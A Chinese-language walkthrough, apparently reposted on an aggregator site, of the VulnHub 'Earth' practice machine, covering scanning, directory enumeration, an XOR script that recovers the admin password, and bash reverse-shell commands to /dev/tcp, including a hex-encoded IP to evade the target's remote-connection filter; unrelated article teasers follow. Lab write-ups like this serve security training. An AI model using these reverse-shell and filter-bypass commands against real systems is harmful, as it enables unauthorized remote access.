vulhub Earth靶場攻略

靶場下載

下載鏈接:https://download.vulnhub.com/theplanets/Earth.ova

靶場使用

?將壓縮包解壓到一個文件夾中,右鍵,用虛擬機打開,就創建成功了,然后啟動虛擬機:

這時候靶場已經啟動了,咱們現在要找到這個靶場。

靶場是網頁形式的,我們要找他,首先需要找到靶場的IP地址已經開發的端口才能訪問:

怎么找呢?我們看他的網段,查看該虛擬機的網絡連接形式,右鍵左側虛擬機名字,點設置,點網絡適配器:

看出是nat模式。我們再點上方編輯,虛擬網絡編輯器,nat模式

看到子網為192.168.163.1-192.168.163.255

我們用Nmap工具掃描一下這個網段:命令:nmap 192.168.163.1/24:

可以看出掃描出來三個地址

192.168.163.1;192.168.163.141;192.168.163.254;

其中192.168.163.1是主機地址,192.168.163.254是廣播地址,192.168.163.141就是虛擬機地址了。并且可以看出虛擬機開放了22,80,443端口。

咱們瀏覽器訪問一下,結果訪問不了

這時候就要找問題了,我使用命令nmap -A?192.168.163.141,掃描出了在443端口下有兩個域名

我們把這兩個域名添加到我本機的hosts文件里,我的hosts文件路徑是C:\Windows\System32\drivers\etc,供大家參考。注意:hosts文件沒有后綴,且編碼方式只有ANSI才有效,且內容格式是IP+空格+域名大家如果除了問題可以從這方面排查。

然后瀏覽器訪問域名就可以了,注意訪問時要把協議改成https。

靶場攻略

頁面掃描:

這是一個留言板,但是這個留言板要求密鑰,除此之外就沒什么用了。我們掃描一下其他頁面,兩個域名都要掃。在用dirb工具掃描earth.local域名時找到了可用頁面。

訪問一下:

點一下log in

發現這頁面還是沒什么用。那我們繼續掃,我們用dirsearch工具又掃到一個頁面

訪問一下:

robots.txt文件記錄的是給爬蟲的規定,通過Disallow指令禁止爬蟲抓取特定目錄或頁面(如后臺管理路徑/admin/),或通過Allow指令明確允許訪問。????也就是說里面記錄的東西他網站根目錄里都有,因此有時候也會暴露文件名與文件路徑。就比如這里的/testingnotes.*,這就表示在網站根目錄下有一個文件testingnotes.*,其中*表示什么后綴都可以,我們這里用txt。

訪問這個文件:

這里面說testdata.txt文件用于測試加密用戶名是terra我們試著訪問一下testdata.txt:

解密:

testdata.txt文件用于測試加密,那么里面的內容可能是密鑰,那密文是什么呢?我想到了首頁下面的那幾行數字。

咱們看一下,我輸入000,0000,00000回顯如下

?可以得出:1、數據經過加密,2、明文和密文長度關系是1:2

密鑰長度是403

檢查密文,最后一行是806行。

大概率是他倆對應的。

為了解密他們,我寫了一個python腳本

import binasciikey="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."a = binascii.b2a_hex(testdata.encode()).decode()
b = binascii.a2b_hex(hex(int(a,16) ^ int(key,16))[2:]).decode()
print(b)

運行這個腳本

可以看出運行結果是一直重復的一串字符earthclimatechangebad4humans,結合前面名字是todo那么這個可能就是密碼。

在admin解密登錄一下:

反彈shell:

登錄成功的頁面可以輸入命令,我們輸入id:

確實可以。我試著寫入木馬,但是試了好幾次都沒有成功,所以我試了試反彈shell,bash -i >& /dev/tcp/3232272512/6666 0>&1

他說禁止遠程連接,我們試著將IP轉換成16進制繞過一下:bash -i >& /dev/tcp/0Xc0a8a383/8080 0>&1

連接成功!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90752.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90752.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90752.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python訓練Day24

浙大疏錦行 元組可迭代對象os模塊

Spring核心:Bean生命周期、外部化配置與組件掃描深度解析

Bean生命周期 說明 程序中的每個對象都有生命周期,對象的創建、初始化、應用、銷毀的整個過程稱之為對象的生命周期; 在對象創建以后需要初始化,應用完成以后需要銷毀時執行的一些方法,可以稱之為是生命周期方法; 在sp…

日語學習-日語知識點小記-進階-JLPT-真題訓練-N1階段(1):2017年12月-JLPT-N1

日語學習-日語知識點小記-進階-JLPT-真題訓練-N1階段(1):2017年12月-JLPT-N1 1、前言(1)情況說明(2)工程師的信仰(3)真題訓練2、真題-2017年12月-JLPT-N1(1&a…

(一)使用 LangChain 從零開始構建 RAG 系統|RAG From Scratch

RAG 的主要動機 大模型訓練的時候雖然使用了龐大的世界數據,但是并沒有涵蓋用戶關心的所有數據, 其預訓練令牌(token)數量雖大但相對這些數據仍有限。另外大模型輸入的上下文窗口越來越大,從幾千個token到幾萬個token,…

OpenCV學習探秘之一 :了解opencv技術及架構解析、數據結構與內存管理?等基礎

?一、OpenCV概述與技術演進? 1.1技術歷史? OpenCV(Open Source Computer Vision Library)是由Intel于1999年發起創建的開源計算機視覺庫,后來交由OpenCV開源社區維護,旨在為計算機視覺應用提供通用基礎設施。經歷20余年發展&…

什么是JUC

摘要 Java并發工具包JUC是JDK5.0引入的重要并發編程工具,提供了更高級、靈活的并發控制機制。JUC包含鎖與同步器(如ReentrantLock、Semaphore等)、線程安全隊列(BlockingQueue)、原子變量(AtomicInteger等…

零基礎學后端-PHP語言(第二期-PHP基礎語法)(通過php內置服務器運行php文件)

經過上期的配置,我們已經有了php的開發環境,編輯器我們繼續使用VScode,如果是新來的朋友可以看這期文章來配置VScode 零基礎學前端-傳統前端開發(第一期-開發軟件介紹與本系列目標)(VScode安裝教程&#x…

擴散模型逆向過程詳解:如何從噪聲中恢復數據?

在擴散模型中,逆向過程的目標是從噪聲數據逐步恢復出原始數據。本文將詳細解析逆向條件分布 q(zt?1∣zt,x)q(\mathbf{z}_{t-1} \mid \mathbf{z}_t, \mathbf{x})q(zt?1?∣zt?,x)的推導過程,揭示擴散模型如何通過高斯分布實現數據重建。1. 核心問題 在…

2025年7月份實時最新獲取地圖邊界數據方法,省市區縣街道多級聯動【文末附實時geoJson數據下載】

動態生成最新行政區劃 GeoJSON 數據并結合 ECharts 實現地圖下鉆功能 在開發基于地圖的數據可視化應用時,一個常見的挑戰是獲取準確且最新的行政區劃邊界數據(GeoJSON)。許多現有的在線資源可能數據陳舊,無法反映最新的行政區劃調…

Spark實現WorldCount執行流程圖

spark可以分區并行執行,同時并行執行也可以基于內存完成迭代代碼對于大部分spark程序來說都是以driver開始driver結束,中間都是executor分布式運行

編程與數學 03-002 計算機網絡 02_網絡體系結構與協議

編程與數學 03-002 計算機網絡 02_網絡體系結構與協議一、網絡體系結構的基本概念(一)分層體系結構的優點(二)協議、接口與服務的概念二、OSI參考模型(一)七層模型的層次劃分及功能(二&#xff…

Flutter 提取圖像主色調 ColorScheme.fromImageProvider

從圖像中提取主色調,用于動態適配顏色主題或者界面顏色。之前在 Flutter 應用里一直用的 palette_generator 插件,可以分析圖像顏色,從中提取一系列主要的色調。最近發現這個谷歌官方的插件竟然不維護了,后續沒有更新計劃了。 查找…

51c自動駕駛~合集8

自己的原文哦~ https://blog.51cto.com/whaosoft/11618683 #Hierarchical BEV BEV進入定制化時代!清華Hierarchical BEV:創新多模塊學習框架,無痛落地無縫量產!? 論文思路 自動駕駛指通過傳感器計算設備、信息通信、自…

Excel——重復值處理

識別重復行的三種方法方法1:COUNTIF公式法在E2單元格輸入公式:COUNTIF($B$2:$B2,B2)>1下拉填充至所有數據行結果為TRUE的即為重復行(會標出第二次及以后出現的重復項)方法2:排序IF公式法按商機號排序(數…

華普微Matter模塊HM-MT7201,打破智能家居生態孤島

隨著智能家居滲透率與認可度的持續提升,消費者對于智能家居的功能訴求正從具備聯網控制、遠程控制與語音遙控等基礎交互能力,升級為能通過單一的家居生態平臺APP無縫控制所有的品牌設備,從而實現真正意義上的統一調度。這種從“單一設備聯網控…

如何使用 minio 完成OceanBase社區版的歸檔和備份

自OceanBase社區版4.2.1BP7版本起,OceanBase的歸檔與備份功能開始兼容AWS S3及S3協議的對象存儲服務,因此,許多用戶選擇采用 MinIO 作為其備份存儲介質。因為 MinIO 兼容AWS S3云存儲服務接口,成為了一個輕便的服務選項。 本文將…

Nacos-服務注冊,服務發現(二)

Nacos健康檢查 兩種健康檢查機制 Nacos作為注冊中?, 需要感知服務的健康狀態, 才能為服務調??提供良好的服務。 Nacos 中提供了兩種健康檢查機制: 客?端主動上報機制: 客?端通過?跳上報?式告知服務端(nacos注冊中?)健康狀態, 默認?跳間隔5…

手寫PPO_clip(FrozenLake環境)

參考:白話PPO訓練 成功截圖 算法組件 四大部分 同A2C相比,PPO算法額外引入了一個old_actor_model. 在PPO的訓練中,首先使用old_actor_model與環境進行交互得到經驗,然后利用一批經驗優化actor_model,最后再將actor_m…

人形機器人指南(八)操作

八、環境交互與操作能力——人形機器人的“靈巧雙手”環境交互與操作能力是人形機器人區別于移動平臺的核心能力標志。通過仿生學設計的運動鏈與智能控制算法,機器人得以在非結構化環境中執行抓取、操縱、裝配等復雜任務。本章將系統解析機械臂運動學架構、靈巧手設…

管理 GitHub Pages 站點的自定義域(Windows)

管理 GitHub Pages 站點的自定義域(Windows) 你可以設置或更新某些 DNS 記錄和存儲庫設置,以將 GitHub Pages 站點的默認域指向自定義域。 誰可以使用此功能? GitHub Pages 在公共存儲庫中提供 GitHub Free 和 GitHub Free for organizations,在公共和私有存儲庫中提供 Gi…